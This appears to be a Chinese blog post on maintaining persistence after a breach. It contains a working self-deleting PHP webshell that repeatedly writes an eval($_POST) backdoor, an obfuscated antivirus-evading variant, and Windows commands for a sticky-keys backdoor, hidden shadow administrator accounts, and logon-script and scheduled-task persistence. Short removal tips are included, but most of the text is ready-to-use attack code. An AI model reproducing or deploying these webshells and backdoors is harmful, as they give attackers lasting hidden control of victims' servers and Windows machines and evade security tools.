后渗透之权限维持

YouHe / 2023-06-11 / 原文

内存马(不死马)

最常见的内存马

<?php
  set_time_limit(0);		#用来设置脚本最大的执行时间,如果为0的话,就会一直执行这个脚本,设置其他数字的话,则按照设置的秒数来进行执行,注意,执行时间和php.ini里的max_execution_time设置有很大的关系,真实时间的计算公式是max_execution_time+time
  ignore_user_abort(1);		#当链接断开,继续执行
  unlink(__FILE__);			#删除当前文件
  while (1) {
  	$content = '<?php @eval($_POST["zzz"]) ?>';
  	file_put_contents("config.php", $content);		#创建文件,写入内容
  	usleep(10000);		#延迟执行
  }
?>

免杀内存马

采用了拼接,旋转,加密解密的手法进行隐藏,并且自定义函数,配合变量替换,成功对绕过进行免杀
因为创建了类,所以这个内存马,暂时只支持5.3以上的高级php版本
运行后将持续创建log.php

可更改yourcode自定义写入log.php文件内容

<?php
static $time =10000 ;     
static $yourcode = 'Cjw/cGhwIGV2YWwoJF9QT1NUW2NdKTs/Pg==';      //bypass
header("Content-Type: text/html; charset=utf-8");
function EasyTo($myfile,$author){
    fwrite($myfile,$author);
    return Fread($myfile,"111"); 
}
class FileRead{
    function __construct($read,$num){
        $a = 1;
        if ($num != Null)
             $a = strlen($num);
        print Fread($read,$a);
    }
    function test(){
        echo "<br>"."ok\n";
    }
	function eb($yijufa){  
        $b = "_46esab";
		$e = "edocne";
		$eb = srv($e.$b);
        return $eb($yijufa);	
    }
    function db($jiekai){  
        $c = "_46esab";
		$a = "edoced";
		$db = srv($a.$c);
        return $db($jiekai);
    }
    function zhixing($hiddden){  
        $ss = "ss";
        $tt = "tt";
        $yy = "yy";
        $ee = "em";
        $db = srv($ss[1].$yy[1].$ss[0]).srv($ee[1].$ee[0].$tt[0]);
        return $db($hiddden);
    }
}
function srv($str){    
    $new_str = "";
	for ($i = strlen($str)-1;$i >= 0; $i--){
        $new_str .= $str{$i};
    }
    return $new_str;
}
ignore_user_abort(true);
set_time_limit($time);  
while(1)
{
	$clear = fopen("log.php", "r"); 
	fgets($clear);
	echo $tmp = "\n".fgets($clear);  

    $myfile = fopen("log.php ", "a+"); 
    $a = $myfile;
	$b = new FileRead($a,"asdasdasdasdasdasd");
    $t = date('Y-M-D H:i:s',time()); 
	$tt = $b->eb($t);  
	unlink(__FILE__);
	$code = $yourcode; 
	if(md5($tmp)===md5($b->db($code)))     
	{
		echo md5($tmp)."\n";
		echo md5($b->db($code));	
	}
    else
	    EasyTo($a,$b->db($tt.$code));  
    echo $b->zhixing(srv("birtta")." +s +h log.php");
	fclose($clear);
	fclose($myfile);
    usleep(5000000);
}
?>

防御方式

1,创建同名文件夹

rm config.php & mkdir config.php

2,条件竞争

3,kill杀进程

kill -9 -1  #杀掉当前用户下的所有进程

shift后门

创建shift粘贴键后门

粘滞键的启动程序在C盘的Windows/system32目录下为sethc.exe。所以我们打开注册表,定位到以下路径:
HKEY_LOCAL_MACHINE\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File ExecutionOption

在目录中新建一个sethc.exe的子项,并添加一个新键debugger,debugger的对应键值为后门木马的路径,这里我用cmd路径代替一下。
cmd路径:C:\Windows\system32\cmd.exe

shift粘贴键后门创建完成之后,在锁屏状态下连按次shift粘贴键,C:\Windows\system32\cmd.exe文件运行,弹出命令行。

通过命令行的话需要知道sethc文件位置

粘滞键位置:c:\windows\system32\sethc.exe
move sethc.exe sethc1.exe
copy cmd.exe sethc.exe

影子账号

1.使用如下命令创建隐藏用户并加入管理员组

net user test$ 123456 /add
net localgroup administrators test$ /add

创建成功后使用net user命令无法查看到此用户,但是在计算机管理页面中还是可以看到,需要通过修改注册表来隐藏。
打开注册表(HKEY_LOCAL_MACHINE\SAM\SAM)
修改SAM权限,赋予adminitrators完全控制权限。

将Administrator用户对应项的F数据值复制到test$用户对应项的F数据值。

将test$和所对应项000003F1导出,分别命名为test.reg和1.reg

删除test$用户,将test.reg和1.reg导入注册表

net user test$ /delregedit /s test.regregedit /s 1.reg

此时在用户组已经看不到test$用户,只能在注册表中能看到。

删除方式

net user test$ /del

虽然net user不能显示影子账号,但是wmic useraccount get Name会显示

wmic useraccount get Name

也可以通过计算机管理 -> 本地用户和组 中直接删除

logon scripts后门

Windows登录脚本,当用户登录时触发,Logon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截。
注册表位置:HKEY_CURRENT_USER\Environment
常用来上线cs

REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\666.exe" 
#创建键为:UserInitMprLogonScript,其键值为我们要启动的程序路径

计划任务后门

schtasks命令设定计划自动启动后门程序。

schtasks /Create /tn Updater /tr c:\666.exe /sc minute /mo 5 #每5分钟自动执行666.exe

黄金票据

白银票据

DLL劫持